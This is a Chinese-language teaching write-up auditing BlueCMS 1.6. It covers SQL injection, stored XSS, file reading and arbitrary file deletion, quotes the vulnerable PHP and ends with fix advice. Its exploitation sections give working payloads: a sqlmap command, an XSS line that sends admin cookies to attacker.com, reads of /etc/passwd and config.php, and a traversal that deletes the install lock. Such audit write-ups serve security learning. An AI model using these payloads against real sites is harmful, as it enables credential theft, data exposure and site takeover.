记一次blue代码审计-学习篇
字数 1215 2025-08-15 21:32:58
BlueCMS 1.6 代码审计教学文档
0x00 概述
本文档详细分析BlueCMS 1.6版本中存在的多个安全漏洞,包括SQL注入、存储型XSS、文件包含和任意文件删除漏洞。通过本教学文档,您将学习到如何识别和利用这些常见的安全漏洞。
0x01 SQL注入漏洞
漏洞位置
ad_js.php文件
漏洞分析
- 漏洞存在于
ad_js.php文件中,该文件包含一条未经过滤的数据库查询语句 $ad_id参数获取方式:- 判断是否为空
- 如果有值,获取id首尾去空
- 否则给空值
- 使用
getone方法执行SQL语句,该方法未对输入做任何过滤
关键代码
// ad_js.php
$ad_id = !empty($_REQUEST['ad_id']) ? trim($_REQUEST['ad_id']) : '';
if(empty($ad_id)){
echo 'Error!';
exit();
}
// 调用getone方法执行SQL
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
// getone方法实现
function getone($sql){
$query = $this->query($sql);
return $this->fetch_array($query);
}
漏洞验证
- 访问
ad_js.php不传参会返回"Error!" - 构造payload:
ad_js.php?ad_id=1' - 抛出SQL异常,确认存在SQL注入
利用方法
可以使用SQLmap工具进行自动化注入:
sqlmap -u "http://target/ad_js.php?ad_id=1" --dbs
0x02 存储型XSS漏洞
漏洞位置
user.php文件
漏洞分析
- 注册页面存在XSS漏洞点:
- 用户名长度限制为16字符,难以利用
- 邮箱字段无有效过滤
- 后台会员管理页面会显示用户邮箱,导致XSS执行
- 修改个人资料处同样存在存储型XSS
关键代码
// 用户注册/修改资料代码
// 无邮箱字段过滤
$email = $_POST['email'];
// 直接存入数据库
漏洞验证
- 注册用户时,抓包修改email参数为XSS payload:
<script>alert('XSS')</script> - 管理员查看会员列表时触发XSS
- 可窃取管理员cookie
利用方法
构造恶意payload窃取cookie:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
0x03 文件包含漏洞
漏洞位置
通过自动审计发现的文件包含函数
漏洞分析
- 当
act变量等于edit时 - 获取
tpl_name的GET参数 - 直接读取文件内容,无任何过滤
关键代码
if($act == 'edit'){
$tpl_name = $_GET['tpl_name'];
$content = file_get_contents($tpl_name);
// ...
}
漏洞验证
构造payload读取系统文件:
?act=edit&tpl_name=/etc/passwd
利用方法
- 读取敏感文件:
?act=edit&tpl_name=../../config.php - 结合PHP伪协议执行代码:
?act=edit&tpl_name=php://filter/convert.base64-encode/resource=index.php
0x04 任意文件删除漏洞
漏洞位置
通过自动审计发现的文件删除功能
漏洞分析
- 当
act等于del_pic时 - 获取
id参数 - 直接调用删除方法,无任何过滤
关键代码
if($act == 'del_pic'){
$id = $_GET['id'];
// 直接删除文件
unlink($id);
}
漏洞验证
构造payload删除文件:
?act=del_pic&id=test.txt
利用方法
- 删除网站关键文件导致拒绝服务
- 删除安装锁文件进行重安装攻击:
?act=del_pic&id=../install/lock.txt
0x05 修复建议
-
SQL注入修复:
- 使用预处理语句
- 对输入参数进行严格过滤
- 修改
getone方法增加过滤逻辑
-
XSS修复:
- 对所有用户输入进行HTML实体编码
- 使用
htmlspecialchars()函数过滤输出 - 限制特殊字符输入
-
文件包含修复:
- 限制包含文件路径
- 使用白名单验证文件名
- 禁用危险PHP伪协议
-
文件删除修复:
- 验证文件路径合法性
- 限制删除操作权限
- 记录文件删除日志
0x06 总结
BlueCMS 1.6版本存在多处严重安全漏洞,包括SQL注入、存储型XSS、文件包含和任意文件删除。这些漏洞都源于对用户输入缺乏有效过滤和验证。开发人员应遵循"不信任任何用户输入"的原则,对所有输入进行严格验证和过滤,以保障系统安全。